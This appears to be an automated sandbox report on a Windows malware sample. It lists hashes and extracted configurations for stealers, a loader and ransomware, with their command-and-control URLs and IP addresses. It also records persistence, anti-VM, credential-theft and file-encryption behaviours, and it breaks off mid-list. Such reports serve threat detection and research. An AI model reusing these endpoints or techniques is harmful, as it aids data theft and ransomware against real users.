Overview
overview
10Static
static
8 (1).exe
windows10_x64
108 (10).exe
windows10_x64
108 (11).exe
windows10_x64
108 (12).exe
windows10_x64
108 (13).exe
windows10_x64
108 (14).exe
windows10_x64
108 (15).exe
windows10_x64
108 (16).exe
windows10_x64
108 (17).exe
windows10_x64
108 (18).exe
windows10_x64
108 (19).exe
windows10_x64
108 (2).exe
windows10_x64
108 (20).exe
windows10_x64
108 (21).exe
windows10_x64
108 (22).exe
windows10_x64
108 (23).exe
windows10_x64
108 (24).exe
windows10_x64
108 (25).exe
windows10_x64
108 (26).exe
windows10_x64
108 (27).exe
windows10_x64
108 (28).exe
windows10_x64
108 (29).exe
windows10_x64
108 (3).exe
windows10_x64
108 (30).exe
windows10_x64
108 (31).exe
windows10_x64
108 (4).exe
windows10_x64
108 (5).exe
windows10_x64
108 (6).exe
windows10_x64
108 (7).exe
windows10_x64
108 (8).exe
windows10_x64
108 (9).exe
windows10_x64
108.exe
windows10_x64
10Resubmissions
13-08-2021 10:16
210813-wpta271jdx 1008-08-2021 23:00
210808-fgs5g9pxfs 1007-08-2021 23:12
210807-g2jw1lmd4a 1007-08-2021 16:10
210807-51nhct4kfx 1006-08-2021 23:43
210806-gc2271nxwj 1006-08-2021 06:00
210806-f443x39x8a 1005-08-2021 17:08
210805-97y6banvvx 1004-08-2021 17:25
210804-hkxx2ntr8x 1004-08-2021 12:12
210804-rjbg4b4y7n 1003-08-2021 17:12
210803-r2h7ytjwqj 10Analysis
-
max time kernel
1800s -
max time network
1809s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
20-07-2021 16:13
Static task
static1
Behavioral task
behavioral1
Sample
8 (1).exe
Resource
win10v20210408
Behavioral task
behavioral2
Sample
8 (10).exe
Resource
win10v20210410
Behavioral task
behavioral3
Sample
8 (11).exe
Resource
win10v20210408
Behavioral task
behavioral4
Sample
8 (12).exe
Resource
win10v20210410
Behavioral task
behavioral5
Sample
8 (13).exe
Resource
win10v20210408
Behavioral task
behavioral6
Sample
8 (14).exe
Resource
win10v20210410
Behavioral task
behavioral7
Sample
8 (15).exe
Resource
win10v20210410
Behavioral task
behavioral8
Sample
8 (16).exe
Resource
win10v20210408
Behavioral task
behavioral9
Sample
8 (17).exe
Resource
win10v20210410
Behavioral task
behavioral10
Sample
8 (18).exe
Resource
win10v20210408
Behavioral task
behavioral11
Sample
8 (19).exe
Resource
win10v20210410
Behavioral task
behavioral12
Sample
8 (2).exe
Resource
win10v20210408
Behavioral task
behavioral13
Sample
8 (20).exe
Resource
win10v20210410
Behavioral task
behavioral14
Sample
8 (21).exe
Resource
win10v20210410
Behavioral task
behavioral15
Sample
8 (22).exe
Resource
win10v20210408
Behavioral task
behavioral16
Sample
8 (23).exe
Resource
win10v20210410
Behavioral task
behavioral17
Sample
8 (24).exe
Resource
win10v20210408
Behavioral task
behavioral18
Sample
8 (25).exe
Resource
win10v20210410
Behavioral task
behavioral19
Sample
8 (26).exe
Resource
win10v20210408
Behavioral task
behavioral20
Sample
8 (27).exe
Resource
win10v20210410
Behavioral task
behavioral21
Sample
8 (28).exe
Resource
win10v20210410
Behavioral task
behavioral22
Sample
8 (29).exe
Resource
win10v20210408
Behavioral task
behavioral23
Sample
8 (3).exe
Resource
win10v20210410
Behavioral task
behavioral24
Sample
8 (30).exe
Resource
win10v20210408
Behavioral task
behavioral25
Sample
8 (31).exe
Resource
win10v20210410
Behavioral task
behavioral26
Sample
8 (4).exe
Resource
win10v20210408
Behavioral task
behavioral27
Sample
8 (5).exe
Resource
win10v20210410
Behavioral task
behavioral28
Sample
8 (6).exe
Resource
win10v20210410
Behavioral task
behavioral29
Sample
8 (7).exe
Resource
win10v20210408
Behavioral task
behavioral30
Sample
8 (8).exe
Resource
win10v20210410
Behavioral task
behavioral31
Sample
8 (9).exe
Resource
win10v20210408
General
-
Target
8 (20).exe
-
Size
3.0MB
-
MD5
bb072cad921aa5ce8b97706ce01bc570
-
SHA1
18bf034906c1341b7817e7361ad27a4425d820bd
-
SHA256
817a50d00909383bbef41e6f4e61b527d55f0873bcf745b29dbba75f52fe2e97
-
SHA512
d40e5f77d882ed29bd9de5a6848072e2f81cd02176955e2b1a4aedcdf4eb687d77bebe33cef0c7d702bc828181755f86e2564523d476adbb785f396a5ce1d474
Malware Config
Extracted
C:\_readme.txt
https://we.tl/t-N3p42CffoV
Extracted
vidar
39.6
933
https://sslamlssa1.tumblr.com/
-
profile_id
933
Extracted
smokeloader
2020
http://conceitosseg.com/upload/
http://integrasidata.com/upload/
http://ozentekstil.com/upload/
http://finbelportal.com/upload/
http://telanganadigital.com/upload/
Extracted
redline
AniNEW
akedauiver.xyz:80
Extracted
redline
2007
37.1.219.52:6534
Extracted
redline
sel17
dwarimlari.xyz:80
Extracted
vidar
39.6
903
https://sslamlssa1.tumblr.com/
-
profile_id
903
Extracted
vidar
39.7
865
https://shpak125.tumblr.com/
-
profile_id
865
Extracted
fickerstealer
37.0.8.225:80
Extracted
metasploit
windows/single_exec
Signatures
-
Fickerstealer
Ficker is an infostealer written in Rust and ASM.
-
Glupteba Payload 2 IoCs
resource yara_rule behavioral13/memory/1420-401-0x0000000001870000-0x0000000002196000-memory.dmp family_glupteba behavioral13/memory/1420-403-0x0000000000400000-0x0000000000D41000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4180 4120 rUNdlL32.eXe 95 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5816 4120 rUNdlL32.eXe 95 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5316 4120 rUNdlL32.eXe 95 -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 8 IoCs
resource yara_rule behavioral13/memory/2140-275-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral13/memory/2140-276-0x0000000000417E1A-mapping.dmp family_redline behavioral13/files/0x0002000000015646-297.dat family_redline behavioral13/files/0x0002000000015646-296.dat family_redline behavioral13/memory/4440-356-0x0000000000400000-0x000000000041E000-memory.dmp family_redline behavioral13/memory/4440-357-0x0000000000417DEA-mapping.dmp family_redline behavioral13/memory/4188-370-0x0000000000417DEE-mapping.dmp family_redline behavioral13/memory/4684-374-0x0000000000417DFA-mapping.dmp family_redline -
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
description pid Process procid_target PID 4376 created 3716 4376 WerFault.exe 105 -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 6228 created 1420 6228 svchost.exe 225 -
resource yara_rule behavioral13/memory/2140-275-0x0000000000400000-0x000000000041E000-memory.dmp Redline_stealer2 behavioral13/memory/2140-276-0x0000000000417E1A-mapping.dmp Redline_stealer2 behavioral13/files/0x0002000000015646-297.dat Redline_stealer2 behavioral13/files/0x0002000000015646-296.dat Redline_stealer2 behavioral13/memory/4440-356-0x0000000000400000-0x000000000041E000-memory.dmp Redline_stealer2 behavioral13/memory/4440-357-0x0000000000417DEA-mapping.dmp Redline_stealer2 behavioral13/memory/4188-370-0x0000000000417DEE-mapping.dmp Redline_stealer2 behavioral13/memory/4684-374-0x0000000000417DFA-mapping.dmp Redline_stealer2 -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 5 IoCs
resource yara_rule behavioral13/memory/940-172-0x0000000000BC0000-0x0000000000C5D000-memory.dmp family_vidar behavioral13/memory/940-192-0x0000000000400000-0x00000000008F2000-memory.dmp family_vidar behavioral13/memory/4300-366-0x000000000046B76D-mapping.dmp family_vidar behavioral13/memory/4300-368-0x0000000000400000-0x00000000004A1000-memory.dmp family_vidar behavioral13/memory/4480-389-0x0000000000400000-0x00000000008EC000-memory.dmp family_vidar -
resource yara_rule behavioral13/files/0x000100000001ab83-118.dat aspack_v212_v242 behavioral13/files/0x000100000001ab83-119.dat aspack_v212_v242 behavioral13/files/0x000100000001ab81-130.dat aspack_v212_v242 behavioral13/files/0x000100000001ab81-129.dat aspack_v212_v242 behavioral13/files/0x000100000001ab7e-126.dat aspack_v212_v242 behavioral13/files/0x000100000001ab7e-125.dat aspack_v212_v242 behavioral13/files/0x000100000001ab7e-124.dat aspack_v212_v242 behavioral13/files/0x000100000001ab7f-123.dat aspack_v212_v242 behavioral13/files/0x000100000001ab7f-122.dat aspack_v212_v242 -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
pid Process 2724 setup_installer.exe 4012 setup_install.exe 3872 sonia_1.exe 2416 sonia_4.exe 2892 sonia_2.exe 940 sonia_3.exe 2640 sonia_5.exe 2732 sonia_6.exe 3616 sonia_1.exe 3656 jfiag3g_gg.exe 4220 Conhost.exe 4636 jhuuee.exe 4780 OLKbrowser.exe 4904 setup 326.exe 4104 winnetdriv.exe 3716 setup.exe 3584 zhangd.exe 4200 jfiag3g_gg.exe 4352 Chrome Update.exe 2140 OLKbrowser.exe 4196 jfiag3g_gg.exe 5092 V3XcRkvR9qH9jKPmhOMUR4YJ.exe 4732 G6jgJczItuhndR5MbUJjp1ng.exe 4260 H6COt0Dx789LeLFRal0WbA52.exe 4416 hodijvwrx2dil81My4IauFP0.exe 4908 bM7HFuVBeXBgIIxW7VIcRDBX.exe 2368 Ja7XBhjczCMhR4EBIbRicHGs.exe 364 zB2olOP6RrSDGII77EQYTVPP.exe 2724 XzzNSCwSeDqbgKZEF09ESO9H.exe 1420 build2.exe 5052 vvzGgp7doM8KcL96NAHgqIBQ.exe 4480 3CvDXwqNH1sx8rm4D3GHt1uC.exe 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe 5112 xyhrg_9JKQS33da0UISQflr8.exe 2500 6e6XL0_DLwr5_NMHnDBJm4lw.exe 5096 duFtxwP2F8FjNWBDhnmWhmkU.exe 4284 qsubtMvLXn_5NuhBsp4waAOG.exe 4024 qSU1Z_eFYSsEyJ2WvLC9qO6c.exe 1660 zhangd.exe 4440 V3XcRkvR9qH9jKPmhOMUR4YJ.exe 4300 H6COt0Dx789LeLFRal0WbA52.exe 4188 6e6XL0_DLwr5_NMHnDBJm4lw.exe 4684 duFtxwP2F8FjNWBDhnmWhmkU.exe 3184 jfiag3g_gg.exe 4916 qsubtMvLXn_5NuhBsp4waAOG.exe 5540 vvzGgp7doM8KcL96NAHgqIBQ.exe 5532 Updater.exe 4836 Acre.exe.com 5764 Acre.exe.com 6128 Acre.exe.com 5980 Sensitive.exe.com 6084 Sensitive.exe.com 5224 11111.exe 4852 1234.exe 5312 900C.exe 3828 timeout.exe 4644 900C.exe 5776 A02A.exe 2268 22222.exe 5336 22222.exe 6324 0WLMI7KTAm308Z3mXq_xgAx0.exe 6496 C74A.exe 7040 900C.exe 7148 900C.exe -
Modifies extensions of user files 3 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File renamed C:\Users\Admin\Pictures\DisableMerge.png => C:\Users\Admin\Pictures\DisableMerge.png.moqs 900C.exe File renamed C:\Users\Admin\Pictures\ImportDismount.crw => C:\Users\Admin\Pictures\ImportDismount.crw.moqs 900C.exe File renamed C:\Users\Admin\Pictures\ReceiveUnregister.crw => C:\Users\Admin\Pictures\ReceiveUnregister.crw.moqs 900C.exe -
resource yara_rule behavioral13/files/0x000100000001ab88-173.dat upx behavioral13/files/0x000100000001ab88-174.dat upx behavioral13/files/0x00020000000155f1-267.dat upx behavioral13/files/0x000100000001abb4-285.dat upx behavioral13/files/0x000100000001abb4-284.dat upx -
resource yara_rule behavioral13/memory/364-312-0x0000000000400000-0x000000000064F000-memory.dmp vmprotect -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion qSU1Z_eFYSsEyJ2WvLC9qO6c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion qSU1Z_eFYSsEyJ2WvLC9qO6c.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion XzzNSCwSeDqbgKZEF09ESO9H.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion XzzNSCwSeDqbgKZEF09ESO9H.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Control Panel\International\Geo\Nation sonia_5.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\eRntMwARsh.url Acre.exe.com File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\QkqVJFpwBk.url Sensitive.exe.com -
Loads dropped DLL 23 IoCs
pid Process 4012 setup_install.exe 4012 setup_install.exe 4012 setup_install.exe 4012 setup_install.exe 4012 setup_install.exe 4012 setup_install.exe 2892 sonia_2.exe 4204 rundll32.exe 940 sonia_3.exe 940 sonia_3.exe 5828 rundll32.exe 4300 H6COt0Dx789LeLFRal0WbA52.exe 4300 H6COt0Dx789LeLFRal0WbA52.exe 4480 MicrosoftEdgeCP.exe 4480 MicrosoftEdgeCP.exe 5260 rundll32.exe 5776 A02A.exe 5776 A02A.exe 1420 build2.exe 1420 build2.exe 3868 hvwbjur 4180 hvwbjur 5696 hvwbjur -
Modifies file permissions 1 TTPs 1 IoCs
pid Process 648 icacls.exe -
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
resource yara_rule behavioral13/memory/2724-330-0x0000000000CE0000-0x0000000000CE1000-memory.dmp themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 2 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\haleng = "C:\\Users\\Admin\\AppData\\Local\\Temp\\haleng.exe" sonia_6.exe Set value (str) \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\bdf46e39-c397-4a2a-a5b3-52c344a43b56\\900C.exe\" --AutoStart" 900C.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA XzzNSCwSeDqbgKZEF09ESO9H.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA qSU1Z_eFYSsEyJ2WvLC9qO6c.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA zB2olOP6RrSDGII77EQYTVPP.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 14 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 11 ipinfo.io 159 api.ipify.org 204 api.2ip.ua 205 api.2ip.ua 15 ip-api.com 260 api.2ip.ua 303 api.2ip.ua 309 api.2ip.ua 323 api.2ip.ua 325 api.2ip.ua 340 api.2ip.ua 12 ipinfo.io 306 api.2ip.ua 339 api.2ip.ua -
Drops file in System32 directory 3 IoCs
description ioc Process File opened for modification C:\Windows\System32\Tasks\Firefox Default Browser Agent A17D3A7FB9219FD4 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat svchost.exe File opened for modification C:\Windows\System32\Tasks\Time Trigger Task svchost.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2724 XzzNSCwSeDqbgKZEF09ESO9H.exe 4024 qSU1Z_eFYSsEyJ2WvLC9qO6c.exe -
Suspicious use of SetThreadContext 19 IoCs
description pid Process procid_target PID 3816 set thread context of 4320 3816 svchost.exe 99 PID 4780 set thread context of 2140 4780 OLKbrowser.exe 106 PID 5092 set thread context of 4440 5092 V3XcRkvR9qH9jKPmhOMUR4YJ.exe 136 PID 4260 set thread context of 4300 4260 H6COt0Dx789LeLFRal0WbA52.exe 143 PID 2500 set thread context of 4188 2500 6e6XL0_DLwr5_NMHnDBJm4lw.exe 140 PID 5096 set thread context of 4684 5096 duFtxwP2F8FjNWBDhnmWhmkU.exe 141 PID 4284 set thread context of 4916 4284 qsubtMvLXn_5NuhBsp4waAOG.exe 147 PID 5312 set thread context of 4644 5312 900C.exe 196 PID 7040 set thread context of 7148 7040 900C.exe 222 PID 6308 set thread context of 1420 6308 build2.exe 225 PID 4852 set thread context of 6440 4852 1234.exe 227 PID 6084 set thread context of 824 6084 Sensitive.exe.com 238 PID 6128 set thread context of 7064 6128 Acre.exe.com 239 PID 6308 set thread context of 4464 6308 900C.exe 241 PID 4624 set thread context of 856 4624 900C.exe 245 PID 2856 set thread context of 6556 2856 900C.exe 247 PID 6720 set thread context of 6744 6720 900C.exe 254 PID 5456 set thread context of 5068 5456 900C.exe 256 PID 6032 set thread context of 1836 6032 900C.exe 263 -
Drops file in Program Files directory 7 IoCs
description ioc Process File created C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.ini bM7HFuVBeXBgIIxW7VIcRDBX.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Toner-Recover.exe bM7HFuVBeXBgIIxW7VIcRDBX.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj.reg bM7HFuVBeXBgIIxW7VIcRDBX.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\adj2.reg bM7HFuVBeXBgIIxW7VIcRDBX.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat bM7HFuVBeXBgIIxW7VIcRDBX.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe bM7HFuVBeXBgIIxW7VIcRDBX.exe File opened for modification C:\Program Files (x86)\EverestSoftrade\TonerRecover\Uninstall.exe bM7HFuVBeXBgIIxW7VIcRDBX.exe -
Drops file in Windows directory 4 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\winnetdriv.exe setup 326.exe File opened for modification C:\Windows\winnetdriv.exe setup 326.exe File created C:\Windows\AppCompat\Programs\Amcache.hve.tmp WerFault.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 11 IoCs
pid pid_target Process procid_target 2332 3716 WerFault.exe 105 1920 4352 WerFault.exe 110 4928 3716 WerFault.exe 105 1248 3716 WerFault.exe 105 4268 3716 WerFault.exe 105 4376 3716 WerFault.exe 105 4456 3716 WerFault.exe 105 4376 3716 WerFault.exe 105 5904 5260 WerFault.exe 178 6336 1420 WerFault.exe 118 6380 6324 WerFault.exe 211 -
Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI sonia_2.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI hvwbjur -
Checks processor information in registry 2 TTPs 14 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString qsubtMvLXn_5NuhBsp4waAOG.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString MicrosoftEdgeCP.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 build2.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString build2.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 sonia_3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString sonia_3.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString A02A.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 MicrosoftEdgeCP.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 A02A.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 qsubtMvLXn_5NuhBsp4waAOG.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 H6COt0Dx789LeLFRal0WbA52.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString H6COt0Dx789LeLFRal0WbA52.exe -
Delays execution with timeout.exe 5 IoCs
pid Process 6004 timeout.exe 1996 timeout.exe 3828 timeout.exe 6796 timeout.exe 4336 timeout.exe -
Kills process with taskkill 6 IoCs
pid Process 6364 taskkill.exe 5248 taskkill.exe 5188 taskkill.exe 5340 taskkill.exe 5800 taskkill.exe 6644 taskkill.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdge.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main browser_broker.exe Key created \REGISTRY\USER\S-1-5-21-3686645723-710336880-414668232-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2842 = "Saratov Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2751 = "Tomsk Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1931 = "Russia TZ 11 Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2392 = "Aleutian Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-51 = "Greenland Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2512 = "Lord Howe Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1892 = "Russia TZ 3 Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" 0WLMI7KTAm308Z3mXq_xgAx0.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" 